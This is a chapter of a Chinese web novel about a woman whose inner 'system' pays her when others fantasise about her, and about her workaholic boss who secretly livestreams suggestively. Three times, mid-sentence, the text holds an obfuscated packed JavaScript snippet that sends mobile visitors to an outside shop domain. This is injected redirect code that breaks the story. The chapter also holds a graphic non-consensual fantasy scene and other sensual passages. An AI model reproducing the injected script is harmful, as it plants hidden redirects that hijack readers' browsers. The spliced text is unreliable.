《欲望结算中》 1. 再次出现 一套老小区的出租屋里。 窗户朝北,冬天漏风,夏天闷热。 屏幕上密密麻麻全是表格,光标一行一行往下跳。 凌晨一点半,许知微已经连续盯屏六个小时。 她揉了揉眼睛,正准备再跑一轮模型,脑海里忽然响起一个久违的声音。 【……咦?】 许知微的手顿了一下。那声音像是一个困惑的自言自语声。 她以为自己太累了,可那声音再次响起。 【怎么能这么少?】 果然没有消失。 “你谁?”她问,语气平静。 【主控。】 是系统,那个她以为早就被自己忘记的东西。 “你不是被我静音了吗?”她说。 【被静音的是提示音,又不是我。】 她坐直了,“什么意思?” 【意思是——】 【你绑定的系统,从十八岁起,一直在正常结算。】 她的第一反应是茫然。 “结算什么?” 【他人对你产生幻想。】 房间里很安静,只有电脑风扇在转。 许知微盯着屏幕,忽然觉得有点荒唐。 “结算成什么?” 【人民币。】对方的语气也鲜少带着些鄙视。 “那钱呢?”她问。 【已发放。】 她几乎是条件反射地低头去看手机。 银行卡、支付宝、微信——余额没有变化。 “骗人。”她说。 【就三千一百二十四块八毛一,我犯得上骗你?】 主控的语气依旧冷静。 【这么低的收益我还是第一次见,你哪怕谈个男朋友,这十年也能赚个个把万呢。】 【有些厉害的,去搞什么主播偶像,赚个千把万都不是事儿。】 她好似嘴角抽搐般慢慢笑了一下,思绪回到十八岁的那个晚自习,她第一次听到这个声音的时候。 她是在算一道数学压轴题的时候,听见系统声音的。 【叮——绑定成功。宿主确认。】 她皱了下眉,没有抬头。 草稿纸已经被她写满了一半,函数图像在脑子里刚刚画出来,她不想被任何无关紧要的东西打断。 【提醒:有人正在对你产生——】 “嘘。”她低声说了一句,下意识以为是自己太累,幻听了。 可那声音却毫不在意她的态度。 【幻想计数:1。收益——】 她的笔尖顿住了,语气不耐烦。 “还没完了?” 她抬头,教室里一排排白炽灯亮得刺眼,黑板右上角写着醒目的红字—— 高考倒计时:97天。 前排男生在抓头,后排有人打哈欠,班主任站在讲台上低头批卷子。 【收益到账。】 她根本没听清是多少,只觉得这系统太吵了,打扰她学习了。 就像有人在你考试做到最关键的一道大题时,在耳边反复按计算器。 她深吸一口气,强行把注意力拉回题目。 “给我闭嘴。”她在心里警告。 系统没回她。 但它也没消失。 那天晚上,她睡不着——因为那声音像坏掉的闹钟,总在她刚要睡着的时候响起来。 【提醒:计数:7。】 【提醒:计数:9。】 【提醒:收益结算。】 她翻了个身,把被子拉过头顶,试图隔绝一切。 没用。 这东西严重影响她睡眠了。 第二天早自习,她同一道题竟然做错了。 第三天,她在物理课上走神,被点名。 到了第五天,她已经能在系统提示响起的瞬间,条件反射地骂一句。 “滚。” 【提示:累计50次,可解锁一次自定义功能。】 这提示让她终于来了兴趣:“什么功能?” 【提醒频率、提醒设置、查看权限、体验权限……】 提醒设置。 所以,只要她凑齐50个,就可以把这个骚扰系统关掉? 当天放学后,许知微做了一件在高三这个时间点,堪称作死的事。 她回家换了件平时不怎么穿的裙子,头发也没像往常一样随便扎起来,而是认真梳了下,甚至抹了妈妈的素颜霜。 她想快点凑够那五十次,把这破系统静音。 可第二天一早,她刚进教室,就被班主任叫了出去。 “你在干什么?” 班主任把她从上到下打量了一遍,眉头拧成一团:“心思不在学习上,是吧?还有九十多天高考了,你现在开始打扮给谁看?” 走廊里人来人往,几个同学假装路过,实际竖着耳朵。 许知微站得笔直,一句话没说。 “我跟你说过多少次,高三不许分心!” “你成绩是不错,但就是这种自以为聪明的女学生最容易翻车!” “把心思放正,别搞这些没个正经的东西!” 她被骂得狗血淋头。 等她回到座位,脸已经有点麻了。 同桌小声问她:“没事吧?” 她摇头,重新摊开卷子。她有些委屈,无处发泄,情绪让她更确定了一件事—— 这个破骚扰系统,真的很碍事。 可那天晚上,系统却异常活跃。 【提醒:计数:48。】 【提醒:计数:49。】 她坐在书桌前,一边刷题,一边盯着脑子里的数字往上跳,像等一个倒计时结束。 【提醒:计数:50。】 她几乎是立刻点开界面。 【请选择自定义功能。】 没有犹豫。 她直接划到最下面。 “静音。” 【确认:关闭全部提醒。】 终于,她的世界又安静了。 * 思绪回到眼下。 “所以我静音的其实是一个赚钱外挂?”她嘴角一挑,她从未想过这个骚扰系统,竟然可以当作赚钱外挂使。 【是啊,你这都显著拉低了我的过往成绩。】 【同类宿主平均收益:五百万。】 五百万。 她想起自己这些年加过的班、算过的账、为了几千块年终奖熬过的夜。 原来她身上一直挂着一个不需要努力的选项,但她亲手把它关掉了? “你现在出来,是要干什么?”她语气中带着恼怒,“嘲笑我?” 【系统即将到期,我本来是来提前收集数据的。】 “还有多久到期?”她再一次来了兴致。 觉得晚的时候,恰恰是最早的时候。 【剩余时间:三个月。】 * 凌晨两点,她终于躺在了床上,可闭着眼,却怎么都睡不着,因为主控的出现,她的记忆又一次回到了十八岁。 高考铃声响起,笔落下去,她只是把卷子往前推了一下,站起来,跟着人流往外走。 走廊里有人哭,有人笑,有人抱在一起拍照,她被挤着往前,却始终有点慢半拍,像是终于轻松下来之后,反而不知道该做什么了。 但也有好消息——她和顾呈考上了同一所大学。 这个结果出来的时候,她盯着屏幕看了很久,出于一种隐秘又小心的期待—— 他会不会,也有一点点跟她一样的想法? 顾呈在读书时期,是很容易让人产生这种念头的人。 成绩好,永远在前排,却从不显得锋芒毕露; 长相干净,眉眼温和,说话时会认真看着你; 家里条件好,但从不炫耀,校服永远洗得很平整。 老师喜欢他,同学信任他。 女生们谈起他,总会下意识压低声音。 他对谁都很好,却从不越界。 那种分寸感,反而让人忍不住去猜——如果他真的喜欢一个人,会是什么样子? 成绩出来那天,他给她发消息:“以后又能一起上学。” 那句话很普通,可“一起”两个字还是让许知微在屏幕前傻笑了好久。 她想,这是命运在奖励她那三年的自律,也许,也是给她一个机会。 大学开学前,他们约会了一次。 看电影,吃饭,聊高中的事。顾呈还是老样子,说话温和,笑起来很轻,偶尔会认真听她讲一些其实并不重要的小事。 结账的时候,他自然地把账单拿过去,没有任何刻意。 夜色很好,路灯把两个人的影子拉得很长。 分别时,他站在她家楼下,像是想说什么,又犹豫了一下,最后只是笑了笑:“回去早点休息。” 许知微点头。 她回家的路上,心里一直在想一件事——他会不会,刚才是想给自己表白? 那种心思很轻,很小,却真实存在。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127070|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到房间,洗完澡,躺在床上。 ——他,到家了么? ——他,也会躺在床上,回味今天的约会么? 那份疑问忽然让她想起了一个,被她静音很久的东西。 系统。 倒不是因为欲望,只是一种近乎本能的确认——如果这个系统还在,那它一定有答案。 于是她坐起身,点开脑海里的界面。 【查看权限:开启。】 界面像一片冷色的电脑桌面,安静地展开。 她的名字下,多了一条记录。 【来源:顾呈。】 那一瞬间,她的心跳明显快了一拍,盯着名字,没忍住笑了一下。 原来真的有。 原来不是只有她一个人。 那点隐秘的小女生心思,在这一刻被轻轻确认,甚至带着一点不合时宜的雀跃—— 他果然,也想过她。 如果她停在这里,或许一切都不一样。 可她没有。 【是否进入神游?】 她的指尖在空气里停了停,最终点了是。 空气瞬间变成黏腻滚烫的糖浆,每一次呼吸都让肺叶沉重一分。月光是冰冷的同谋,静静勾勒出他绷紧的肩线,和那双眼睛里彻底陌生的、吞噬一切的漩涡。 “不……”她的声音逸出喉咙,却软弱得立刻消散在灼热的空气里,连她自己都听不真切。 想要后退,脊椎却死死钉在原处,仿佛与身下这片虚软的床垫融为一体。 大脑发出尖锐的自我防备指令——推开他,逃离这里——可命令如石沉大海,四肢百骸像被抽走了骨骼,灌满了温吞而沉重的水银。 终于,她惊恐地意识到,在他的意识里,根本控制不了自己。 他的手指扣上来,穿过她的指缝,收紧,力道大得让她腕骨生疼。 她拼尽全力想要抽离,哪怕只是一根手指的松动,可手臂的肌肉只是徒劳地绷紧、微颤,像被钉在标本板上的蝶翅,所有挣扎都化为无助的抖动。 她能感觉到自己指甲陷进自己掌心那点微不足道的刺痛,这是她对自己身体仅存的、可悲的掌控。 “别——”带着哭腔的乞求,换来的是他更倾轧下来的重量。 布料撕裂的“嗤啦”声,像一道闪电劈开她混乱的意识。 凉意猝然侵袭,是她的上衣,在非现实的空间里化作破碎的蝶翼,她眼睁睁看着,却连抬起手臂遮挡暴露都做不到。 她像被拆开了包装的礼物,所有防卫与遮掩都被轻易剥夺,只剩下赤裸裸的、无从躲藏的脆弱。 然后是他的牙齿,嵌进肩头的皮肉。 肩膀的疼痛袭来时,她甚至无法蜷缩缓解,身体被更紧地禁锢,连最本能的蜷缩都成了奢望。 她能感觉到皮肉在他的齿列下凹陷、变形,能感觉到温热的血或许正在渗出,与他的唾液混在一起。 她想尖叫,喉咙却像被扼住,只能发出破碎的呜咽。 眼泪汹涌得更急。 泪水滑过鬓角,浸湿了并不存在的枕头。她的视线模糊,绝望如同无边无际的、正在缓慢上涨的冰冷潮水,从脚底漫上来,淹没脚踝、膝盖、胸口,即将没过口鼻。 可她在这由他欲望构筑的囚笼里,连溺水者最后的扑腾都无法做到。 他的拇指揩去她的泪,指腹粗粝,动作却带着一种梦游般的温柔,与施加在她身上的暴力形成骇人的对比。 这种矛盾撕扯着她,比纯粹的粗暴更令人崩溃。 她宁愿他只是个纯粹的侵略者,好让她凝聚起全然的恨意,而不是此刻这般,在恐惧与一种诡异的、被珍视的错觉中粉身碎骨。 她绝望地闭上眼睛,最后的景象是他眼中火焰的余烬,和那片映不出她挣扎的、深不见底的黑暗,只剩下一个冰冷的认知: ——在他的梦里,她从来就不是参与者,只是一件被彻底使用的用品。 等到她终于在床上猛地坐起,呼吸紊乱,后背一片冰凉。 窗外的路灯亮着,房间里一切如常。 她没有如同在神游时哭。 她只是坐了很久,直到呼吸慢慢恢复。 脑子里只有一个念头反复出现: 她,不要这样。 第二天,她收到顾呈发来的消息。 “昨天很开心。” 她盯着那几个字,看了几秒,忽然觉得很陌生。 她没有再回他,也没有解释。 那种喜欢像被人从根部剪断。 2. 目标 【建议路径一:做擦边主播。】 许知微盯着擦边这两个字,看了几秒。 “你认真的吗?”她皱眉。 【数据证明,该路径在历史宿主中成功率最高。】 她没有立刻反驳,心底却产生了质疑——这个主控,看着不靠谱。 可没办法,她已经错过了十年了,眼下除了依靠这个不靠谱的系统,也没什么更好的法子。 所以她还是花了一个晚上注册账号、买设备、调设备、研究平台规则。 试试无妨。 没有露骨内容,没有违规词,衣服也规规矩矩,但是比平时稍微贴身一点,灯光调得柔和。 晚上,她化了浓妆,在美颜加持下显得格外清纯,也格外不像她。 终于,开了播。 标题很普通,内容也没什么特别的。她坐在镜头前,好不容把光线设备调好,用自己的小号点赞增加点人气,刚开口说了第一句话,小号发的弹幕还没来得及刷起来,屏幕忽然一黑。 【该直播间已被封禁。】 时间显示:04:47。 不到五分钟。 许知微愣了一下,又点进去确认了一遍。 封禁理由写得很官方:“疑似违规内容,已进入人工复核。” 她靠在椅背上,忽然有点想笑。“这就是你说的建议路径?我还什么都没做,就被封了?” 【最近这平台风控模型对新账号极为敏感。】 【你有个人账户么?那种用的久,不容易被封。】 “你是想让我社死么?”她挑眉反问。 主控没有情绪,只给出结论:【想要短时间赚够幻想值,只能这样。】 “好吧,账号解封要等三小时。”她无奈地耸耸肩,“三小时后再试试。” 这三个小时里,她没闲着。 既然主控说这是最高成功率路径,那她就用自己的方式算一算——它到底有没有可能。 她把电脑打开,开始查数据。 MCN机构旗下账号的爆火时间线、内容铺量周期、冷启动成本; 个人主播的爆火案例,首条爆款到商业变现之间的平均时长。 平台推荐机制、新号保护期、流量池规则。 她一条一条拉表,一列一列对齐。 赋予权重后,丢进模型里面去跑,去验证,算到第三个小时的时候,她已经有结论了。 MCN模式下,一个账号从冷启动到稳定变现,最快也要三到六个月; 个人主播,哪怕运气极好,爆一条,也需要至少一个月发酵。 而她——只有三个月。 而且她不是全职。 她有工作,有加班,有工作里必须完成的任务。 她把最后一行公式敲完,看着屏幕上的结果,几乎没有犹豫。 “这条路,收益不见得高。”她说。 【理论上存在极端成功样本。】主控坚持。 “你说的是幸存者偏差。”她语气很平,“而且概率低到可以忽略。” 她把电脑合上,靠在椅背上。 “本就是为了凑齐幻想,那内容就得擦,一擦就封。” “瞧,我连开播五分钟都活不过去。” 主控沉默了一会儿。 【建议路径二:提高幻想单价。】 许知微再次皱眉:“说人话。” 【放弃量,只追求质。】 她心里隐约有了预感:“怎么追求质?” 主控停顿了一秒,像是在检索她的社交图谱。 【寻找高价值幻想来源。】 【单次结算即可覆盖普通路径全部收益。】 她语气带着些调侃,问道:“原来,每个幻想的收益还不一样?” 主控没有回应她的语气,解释道:【收到幻想越多,付出幻想越少的人,幻想的单价越高。】 【普遍来说,女性的幻想值高于男性。】 她眉心一跳:“所以?建议让我去变个性?” 主控的无声透露着无语,随后它拉出一长串名单,道:【这些都是单价高的主,你看看哪个你能够得着?】 界面在她眼前展开,像一份精心整理过的高价值目标清单。 第一个名字一出来,许知微就下意识翻了个白眼。 吴彦祖。 后面甚至还跟着备注:【长期高频被幻想对象|单次幻想预估价值:极高】 她往下划了一下。 又一个男明星。一线的,顶流的,退圈依旧有传说的。 再往下。 国外政要。 企业家。 甚至还有一个她差点以为自己看错了的名字——马克龙(法国总理)。 她盯着那个备注看了两秒,有种荒谬的无语。 “……” 她把名单往下滑,又往上滑了一次,确认这不是系统抽风。 “你认真的?”她问。 【数据真实。】 “你觉得我能接触到他们哪一个?” “还是你觉得我会突然被邀请去参加戛纳红毯,或者爱丽舍宫酒会?” 主控冷静回应:【理论上,社会阶层流动并非完全封闭。】 她忍不住嗤笑了一声:“你这句话,跟成功学博主说‘普通人也能年入千万’有什么区别?” 她继续往下翻,名单长得离谱,像一份和现实世界完全脱节的幻想榜单。 有的人她只在电影海报上见过; 有的人她只在新闻里见过; 还有几个,她连名字都念不准。 她向后靠在椅背上:“所以你的辅助方案是——” “让我期待被吴彦祖看上,还是指望法国总理突然对中国普通打工人产生兴趣?” 主控没有被她的讽刺影响:【这是当前高单价幻想的统计结果。】 “那你不如直接告诉我,”她语气平静下来,“这个系统从一开始就不是给我这种普通人用的。” 主控沉默了一下,没有反驳。这份沉默本身,就像一种默认。 许知微不死心,重新打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127071|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开界面,把名单往下拖到最底。 忽然,她的动作停住了。 在那一长串离现实十万八千里的名字中间,有一个异常普通的存在。 不是明星,不是政要,是一个她认识、而且每天都能见到的人。 她盯着那个名字,眉心再次皱起。 “……你是不是漏筛选条件了?”她低声说。 主控的声音依旧平稳。 【未遗漏。】 【该目标符合全部条件。】 她抬起头,眼神变得复杂:“你确定?” 【确认。】 【该目标:高频被幻想者。】 【自身幻想输出极低。】 【欲望压抑度:高。】 【单次幻想预估价值:可覆盖普通路径全部收益。】 她深吸了一口气。 “你是说,”她慢慢地说,“在我这张社交网里,唯一够得着的高价值目标——” 她顿了顿,像是不太想把那个名字念出来:“是我的变态上司——当代周扒皮?” 主控没有给她留任何余地。 【是。】 【目标:程迦。】 * 因为找到了新的赚钱门路,工作狂许知微破天荒地没加班,不到十一点就躺进了被窝。 可长期熬夜的身体早已颠倒,此刻在黑暗里清醒得格格不入。 她翻了个身,思绪不受控地飘回十八岁。 大一的日子过得很快,新环境、新同学、新课程。 系统再也没有弹出过提醒,可她会时不时在夜深时,鬼使神差地点开权限。不再是期待,而是验证——像一个冷静的实验员,反复确认某个已知的结果。 她很快明白,这不是顾呈的问题。 是男人的问题。 那位在课上谈论学术伦理、为人师表的导师,系统里有他的记录,标注着他美满家庭之外的某个深夜。 那个在社交平台高调晒出异地恋五年纪念的男生,列表里也有他的名字。 甚至还有一些人,她连话都没说过,仅仅因为同在一间教室或一场活动。 系统总是用相同的、没有温度的格式标注: 【来源确认。】 【幻想成立。】 没有情绪,不涉评判。 许知微却在这一次次无声的确认里,看得越来越透。 她开始意识到,那些被社会规训包裹得严丝合缝的好男人——好老师、好男友、好丈夫——并不妨碍他们在无人窥见的角落,将她裁切成一段可供随意取用的臆想。 她没有愤怒,也生不出报复的念头。 只是心里某个原本温软的地方,一寸一寸地凉了下去,硬了起来。 那些曾经能让她耳根发热的目光、精心编织的赞美、小心翼翼的靠近,在她眼里逐渐褪了色,失了真。 它们不再通向某个具体的人,而只是指向她这副皮囊所承载的符号——一个安全、沉默、可供投射的客体。 自那以后,她再也没有点开过系统。 3. 缺席 镜头先从一截汗湿的麦色腰腹开始。 汗珠缓慢地滑过清晰的肌肉—沟壑,在胯骨边缘那道低低压着的灰色运动裤松紧带上,聚成一道颤巍巍的水痕。 背景音乐是低沉的鼓点,混着有些急促的、刻意压低的运动呼吸声。 一只手入镜了,指节分明,青筋微凸,随意地搭在小腹上,指甲修剪得很干净。 随着音乐鼓点,那只手的拇指懒懒地勾住裤腰边缘,往下压了压,露出更深的肤色,和隐约的人鱼线阴影。 然后迅速松开,布料回弹,发出一声轻微的“啪”。 镜头随着男人的动作轻微晃动,始终避开头颈,目光所及,只有不断起伏的胸膛,锁骨凹陷处的细小汗珠,以及随动作拉伸出饱满弧度的肩臂线条。 弹幕疯狂滚动,礼物特效不断炸开。 男人喉咙里滚出一声很低的笑,气息扑在收音麦上,激起一小阵暧昧的电流杂音。 一只手拿起一旁的水瓶,慢镜头般挤压瓶身。 透明的水流溢出唇角,顺着下颌、喉结、胸膛一路奔涌而下,汇入最初的腰腹沟壑,将那一片皮肤浸得水光淋漓。 他随意抹了一下,手腕一转,将空瓶精准地抛向镜头外。 “今天的运动……”他的声音沙沙的,带着刚喝过水的清爽,“……就到此为止了。” 画面边缘,只看见他微湿的发梢,和一抹似乎向上扬起的、看不见全貌的唇角弧度。 直播间的灯关掉时,程迦没有立刻起身。 高级公寓的落地窗外是整座城市的夜景,灯光一层一层铺开,像一张被精心设计过的背景板。 他坐在镜头前,屏幕上最后的弹幕刚刚刷过。 【别走。】 【今天状态好狠。】 【这手停得也太会了。】 他没有回应。倒计时归零,直播结束。 后台的数据在刷新,数字一路往上跳,新的幻想记录同步结算。系统的提示在他脑海里一条条落下,像是安静而高效的流水线。 稳定,高频,符合预期。 他本该满意,可却因为一件不寻常的小事,眉头紧锁。 那个熟悉的头像,没有出现。 直播已经结束,他还在观众列表里寻找,刷新,再刷新。 依然空缺。 “微微不微”。 她几乎从不缺席。不刷存在感,不抢前排,却永远在那里——她的观看记录,比所有喧闹的弹幕都要安静,也要稳定。 没忍住好奇,他点进她的主页。 页面亮着。两分钟前,她刚点过一个赞,却不是给他的。 是另一个新开的女主播账号,长得有些眼熟,封面直白,定位鲜明,镜头语言里透着刻意的生涩。 程迦盯着那个直播间看了三秒,然后按下了举报。理由选得标准而迅速:“疑似违规内容。” 提交成功的提示跳出来时,他才意识到自己动作有多快。 一股烦躁毫无预兆地窜上来,不尖锐,却闷闷地堵在胸口。 那感觉像某种领地意识被轻轻踩过——仿佛一个长久以来只属于他的位置,被谁短暂地霸占了。 他摘下苹果耳机,走到桌边拿起手机。工作群里还有消息亮着。 指尖在对话框上悬停片刻,还是敲了下去: @许知微白天要的那组数据,整理好了吗? 发送。 手机被放回桌面。他转身去倒水,回来时屏幕仍暗着。 没有回复。 程迦皱了皱眉。 这不像她。许知微回消息一向很快,不热情,但及时。 他又瞥了一眼时间。 快十二点了。 往常这个点,她应该还没睡。 睡这个字,恰如其分地把那层被日常压得很好的平整,忽然掀开了一角。某种情绪细细密密地堆上来,无声无息,却让人坐不住。 他坐回椅子里,在脑海里打开系统界面。 在一排排结算记录中,很快找到了那条: 【来源:许知微】 【幻想神游次数:19】 那是她最近一次幻想他,或者说,幻想他的擦边号。 他知道那是什么样的。 在她的幻想里,他被清晰地看见,被完美地安排,被亲昵地注视。 那种注视,让他放松,也让他沉迷。 所以,他又一次点开了神游。 世界瞬间安静下来。 外界的灯光、消息、时间,全部退成遥远的背景。 空气清澈又带着微凉的静谧,像沉入深水之底,一切声响与光线都被滤得绵软柔和。月光并非泼洒进来,而是如带着实感的绸缎,一层一层铺满房间,泛着珍珠贝母似的细腻光泽。 他被某种温柔的重量定在原地。 像是藤蔓,或是缓缓移动的水蛇。 身体沉得抬不起一根手指,却奇异地没有恐慌。 这是一种被精心布置、全然接纳的束缚。 他仰躺着,视线刚好能捕捉她垂落的发梢,在月光下沁出幽蓝的晕。 她在他上方,背对着那扇虚假的窗,面容浸在阴影里,只有眼睛亮得惊人,如同两潭极深的静水,清清楚楚映出他此刻的模样:无法动弹,彻底袒露,甚至透出一种引颈就戮般的顺从。 只可惜,没有他的脸。 她的指尖缓缓落下来。 先是锁骨。 凉的,带一丝似有若无的香气。 与其说是抚摸,不如说是丈量,她指尖沿着骨骼的弧线缓缓推移,力道恒定得像在描摹某件易碎的瓷器。 他的皮肤在那触碰下泛起细小的战栗,呼吸微微一滞。 不害怕,更多的是期待,在寂静中无声嗡鸣。 她好似察觉了。 阴影里的唇角,似乎极轻地弯了一下。 手指下滑,停在他睡衣的纽扣上——没有拉扯,只有耐心到极致的解开。 一颗,两颗。 布料向两侧滑开,凉意覆上胸膛。 他的心跳在安静中显得沉重,每一次搏动都震动着紧贴的皮肤,无处隐藏。 他本该感到羞耻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127072|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可涌上来的,却是一种奇异的、被曝露于审视下的兴奋。 她的指尖继续游走,经过肋骨,停在腰侧。没有情欲的揉捏,只是停驻,用指腹感受他因紧张而绷紧的肌理线条。 然后,她俯身。 气息拂过耳畔,带着微凉的甜意。 她的唇靠近,近到他能感知那份柔软的轮廓,悬在肌肤上方,制造出一种悬而未决的、近乎折磨的亲密。 他渴望唇的落下,却又不得。 他的喉结无声滚动,细响在绝对安静中被无限放大。 “别动。” 她的声音很低,像头发搔过耳膜,只是一个陈述,却听着像一个早已洞悉他处境的宣告。 因为,他也确实动不了。 但更深的战栗从脊椎窜起——她分明是知道他不能动。 这种知晓本身,成了最致命的撩拨。 她的牙齿,代替了嘴唇,落在肩头,是一种精准的、试探性的轻啮。先用齿尖轻轻刮过皮肤,感受他瞬间的僵硬,然后缓缓施加压力。 痛感是清晰的,但被严格地控制在一个愉悦的阈值边缘,像一根绷紧的、随时会弹出美妙音符的琴弦。 她似乎能感觉到他肌肉在抵抗与迎合之间的微妙颤抖,似乎能听到他压抑在喉咙深处的、短促的吸气。 他总觉得,她知道,她全知道。 她甚至调整了角度,让那齿痕落在最敏感的位置,每一次细微的碾磨,都精准地踩在他从未言明、却深植于骨的渴望节拍上。 痛与快意的界限彻底模糊,化作一股滚烫的电流,在他被束缚的躯体里乱窜,无处可逃,也不想逃。 眼泪没有涌出,但他的眼角微微湿润了。不是因为痛苦或悲伤,而是因为一种过于汹涌的、被全然理解和接纳的冲击。 在这由她主导的、冷静甚至克制的水域里,他正在心甘情愿地下沉。 她的手指回到他无法动弹的掌心,轻轻撬开他无意识握紧的拳,将自己的手指嵌入,扣住。像是一种确认,确认他的存在,确认他正沉浸于这份被精心设计的无力之中。 月光缓缓偏移,将他们的影子投在墙壁上——一道是从容笼罩的轮廓,一道是全无防备的舒展形态。 寂静的共谋,在这颠倒的梦境里,束缚成了最亲密的拥抱,掌控反而带来最深的安全感。 他闭上眼,在心底,对着这片主宰了他的、温柔的黑暗,发出一声无声而圆满的叹息。 没人懂,这种被精准地置于无法动弹的境地,于他而言,却能成为另一种享受。 呼吸渐稳。 躁动被引导、被覆盖、被妥善安放回那个熟悉的位置。 发泄中带着确认——确认自己仍被某种注视需要,仍占据着某个不可替代的中心。 退出时,手机上的时钟已过去许久。 屏幕依旧暗着。 那股空落并未消散,反而愈发清晰,沉甸甸地坠在意识边缘。 现实中的她,还是没有回复自己。 看来,明天得好好问问—— 她今晚,究竟去哪里,在做什么? 4. 公司 许知微在出门前,对着玄关那面落灰的镜子站了很久。 她已经很少这样打量自己,倒不是不想,是顾不上。 连轴转的生活早已把精致打磨成非必需品——头发随手一挽,衣服但求蔽体,镜子不过是确认自己还像个“人”的匆匆一瞥。 但今天不一样。 她洗了头,还吹了个造型。 衬衫换成了缎面的,只系中间一颗纽扣,领口松散地敞着,露出锁骨。 涂了一层口红,是干燥玫瑰色,衬得她的脸忽然有了一丝活力。 可镜子里的人熟悉又陌生,像在笨拙地披上一件不合身的戏服。 她深吸一口气,对着空气低声说:“只是被想一想而已……又不会少块肉。” 主控的提示音仿佛还在耳边回响:【若目标人物对宿主产生幻想,预估一次奖励金额可达你的年薪。】 她闭了闭眼。 是啊,在他面前被骂了那么多次,在深夜里改过无数版方案,尊严早就称斤论两地卖掉了。 这次,不过换一种方式。 只是走进公司时,她总觉得同事的目光比平时多停留了半秒,不自在让她顺手找了一件文化衫披上,像是临时想起,自己其实不该被这样看。 刚坐下,内线电话就响了。 “许知微,来一下。” 是程迦。 她的心跳快了一拍,又被她用力按回胸腔。 “好的,程总。” 推门进去时,程迦正背对着她站在落地窗前。 晨光漫过城市天际线,将他勾勒成一个没有温度的剪影。 办公室的空气很安静,静得能听见自己的呼吸。 这人,还是一如既往地不苟言笑。 “坐。” 她听令坐下,脊背不自觉地挺直,肩颈拉出一道生涩的曲线。 她试着让眼神软下来,让语气轻一点,甚至在他转身的瞬间,将脸侧过一个细微的、她练习过的角度。 一切都很刻意,刻意得她自己都觉得僵硬。 而程迦的目光掠过她,像掠过一份待批的文件。 “昨晚十一点二十三分,我在群里@你了。”他坐下,打开笔记本电脑,声音平直得像机器人,“你没回。” 许知微指尖一蜷,这么多年,她早已习惯了程迦这种强度的压榨。 所以当她在系统里看到他的名字时,她本能是拒绝的。 可为了钱——她还是硬生生挤出一个笑容。 “昨晚……睡得早了些。”她放轻声音,尾音甚至试着拖长半分。 程迦抬起眼。 那眼神里没有探究,没有波澜,只有一种近乎机械的审视。 “你最近回复消息的延迟率,比上个月高了37%。” 她指甲陷进袖口,在心里习惯性地骂道:“周扒皮、吸血鬼、非人类。” 心里虽然翻滚过无数个词,脸上还是保护那个淡而专业的笑:“最近项目紧,可能……状态有点跟不上。” 程迦合上电脑,身体微微前倾。 “我只在意的,是你的产出,可你今天的专注度,影响了你的产出。” 他语气依旧平稳,却像手术刀一样精准地划开她勉强维持的平静:“节奏乱了,你到底在分心什么?” 那一瞬间,脑海中某根弦崩了。 “我在分心什么?” 她站了起来,声音不高,却像碎玻璃一样扎在寂静里:“我在分心我跟着公司从三个人做到现在九十七个人,却还住在租的房子里;” “我在分心我每天通勤两小时,加班到末班车停运,却连病都不敢生;” “我在分心我所有的时间都分给了工作,时薪低到对不起我的资历,却还被人问——‘你是不是心思不在工作上’?” 空气凝固了。 程迦显然没预料到这场爆发。 他沉默地看着她,脸上第一次出现了类似于发呆的神情。 许知微说完就后悔了。 她不后悔说了真话,她知道自己对公司的重要性,也知道程迦是个metrics至上的人,只要她对公司还有压榨价值,他是不会在意这些的。 她后悔的是,那点好不容易下定决心的色诱,显得既狼狈,又多余。 她到底怎么可能,勾引程迦这个非人类幻想自己? 漫长的几十秒后,程迦终于开口:“虽然说公司今年上市无望。” 她的心向下沉。 “但,”他话锋微转,“下半年应该会启动一轮股权回购,你手里的股权,可以一次变现不少。” 许知微几乎想笑。 又来了。 永远画在远方的饼,永远够不到的胡萝卜。 可多年的职业素养,让她垂下眼,再抬起时,脸上已换上一种被安抚后的、勉强的平静。 “……明白了,程总。可能是我最近太焦虑了。” 她重新坐下,语气回归专业:“昨晚的消息我马上处理,数据已经整理好了,今天下班前一定能同步完毕,不会耽误下个月国际展的进度。” 程迦注视她片刻,像是在重新校准对她的评估。 “好。”他最终说,“先去忙吧。” 许知微起身,颔首,转身拉开门。 在门缝合拢的刹那,她脸上所有伪装的温度瞬间褪去。 唇角那抹柔顺的弧度,化作一丝冰冷的了然。 她终于确认了—— 今天这精心排练的引诱,在他眼里,大概还不如Excel里一个错位的数字值得注意。 她的异性魅力,在程迦那套非人的算法里,甚至还没来得及被判定为无效输入。 * 许知微坐回工位,电脑还没完全亮起,手机先震了一下。 一条转账通知跳出来:¥528.00。备注:还钱。 她盯着那行字看了两秒,点进去确认。 